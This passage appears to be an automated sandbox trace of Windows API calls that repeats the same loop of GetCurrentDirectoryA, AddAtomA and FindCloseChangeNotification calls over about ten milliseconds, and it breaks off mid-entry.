GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.921] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.921] AddAtomA (lpString=0x0) returned 0x0 [0056.921] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.922] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.922] AddAtomA (lpString=0x0) returned 0x0 [0056.922] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.923] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.923] AddAtomA (lpString=0x0) returned 0x0 [0056.923] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.924] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.924] AddAtomA (lpString=0x0) returned 0x0 [0056.924] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.925] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.925] AddAtomA (lpString=0x0) returned 0x0 [0056.925] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.926] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.926] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.926] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.927] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.927] AddAtomA (lpString=0x0) returned 0x0 [0056.927] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.928] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.928] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.928] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.929] AddAtomA (lpString=0x0) returned 0x0 [0056.929] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.929] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.930] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.930] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.930] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.931] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.931] AddAtomA (lpString=0x0) returned 0x0 [0056.931] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 